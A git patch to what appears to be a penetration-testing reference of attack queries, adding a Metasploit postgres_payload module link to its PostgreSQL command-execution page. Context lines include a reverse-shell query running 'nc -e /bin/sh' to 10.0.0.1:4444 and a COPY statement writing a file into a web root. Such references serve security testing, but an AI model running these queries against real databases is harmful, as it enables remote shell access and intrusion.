From dc0d9f6dfad766e71a25a92b154ec75151a8ad9b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Mar 2019 19:04:13 -0600 Subject: [PATCH] Add metasploit module ref for postgresql cmd exec --- attackQueries/executingOSCommands/postgresql.html | 14 +++++++++++++- .../readingAndWritingFiles/postgresql.html | 2 +- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/attackQueries/executingOSCommands/postgresql.html b/attackQueries/executingOSCommands/postgresql.html index 9b0a3c6..dff6985 100644 --- a/attackQueries/executingOSCommands/postgresql.html +++ b/attackQueries/executingOSCommands/postgresql.html @@ -81,7 +81,19 @@

Executing OS Commands Through SELECT sys('nc -e /bin/sh 10.0.0.1 4444');

- Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution + Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution + + + + +

+ Metasploit postgres_payload Module
+ This can be used with direct connections. + + +

+ https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload
+ exploit/linux/postgres/postgres_payload
diff --git a/attackQueries/readingAndWritingFiles/postgresql.html b/attackQueries/readingAndWritingFiles/postgresql.html index 8f628af..af5588f 100644 --- a/attackQueries/readingAndWritingFiles/postgresql.html +++ b/attackQueries/readingAndWritingFiles/postgresql.html @@ -33,7 +33,7 @@

Reading and Writing Files

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('');
COPY mytable (mycol) TO '/var/www/test.php';
- +